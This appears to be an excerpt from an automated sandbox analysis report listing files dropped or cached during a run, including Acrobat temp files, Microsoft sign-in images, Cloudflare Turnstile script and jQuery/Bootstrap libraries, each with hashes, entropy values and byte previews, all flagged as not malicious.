Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\453d37c8-2ff4-4e41-98d0-60a3fdb8d690.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\6199eb88-a6a5-4969-9c4a-aa69f76c8286.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cf0023bb-3ae1-4ac7-9826-286919d8a5da.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e9516a82-cc9e-4ada-8cff-406dafbbe270.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rnOWL07oYGZQeYIGNPZdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TOWLxYGZQeZGH3mlind9i4ufFXpAXkru
MD5:	4DF3EB9167FA932079F96742C37F56E2
SHA1:	DB943B52F019F419A86C637AC94D809DE845144B
SHA-256:	E3BA7B4D7F5BA4F5DB29A7DFAB356B78020070A4789DB068B9E7D69AAA9380C3
SHA-512:	4B2180F8DBAAFB65D05F1E354ACE2308ACA23D2F15C47B4141926240B689BCA643491D882E2AD1AE235C044F032B2DDAF140BD8824D67903AE2FC9ABA4F7E8F3
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	dropped
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 81 x 32, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlOEg1xl/k4E08up:6v/lhP07Tp
MD5:	45E0E6FE96BDE54D6857809299DF11A5
SHA1:	A25443DA4A39B396E0DCA8581973B12C95BC5670
SHA-256:	08612CA916A4147D5A2D2F095E8FEE87E82E3A5F2DC3A636D22A225221D159F9
SHA-512:	DE14411AB91003BA9F24EBE8BD6B9175C11969A4EF54886E25830B820C5A63BA94510A69E105BA155B97A0D89E212818F3F01E3F5B03EDAEF566F9E73C9DFAAA
Malicious:	false
Preview:	.PNG........IHDR...Q... ............IDAT.....$.....IEND.B`.

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	downloaded
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
URL:	https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 71 x 62, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.969798475032601
Encrypted:	false
SSDEEP:	3:yionv//thPl2RJa0gBxl/k4E08up:6v/lhPoipB7Tp
MD5:	F63D2AA300F3A33910503FEA9E1F6441
SHA1:	E309E062BE085B89F11FDFE624CD4286C02FE6F7
SHA-256:	6D66711A1AE54DC6085F5FEB693AF149DB33567E1D00BCB58AFA15841982FC9B
SHA-512:	521EB358A44E921FEF3E93713EFAE5A17A63FB530DD3AAE414915AB24A987E611FA8D0536DB6C5B7DCC4EFDB44CE0FC2763F9408E278CB49ABB7D048F2D75F05
Malicious:	false
Preview:	.PNG........IHDR...G...>........A....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	dropped
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	dropped
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
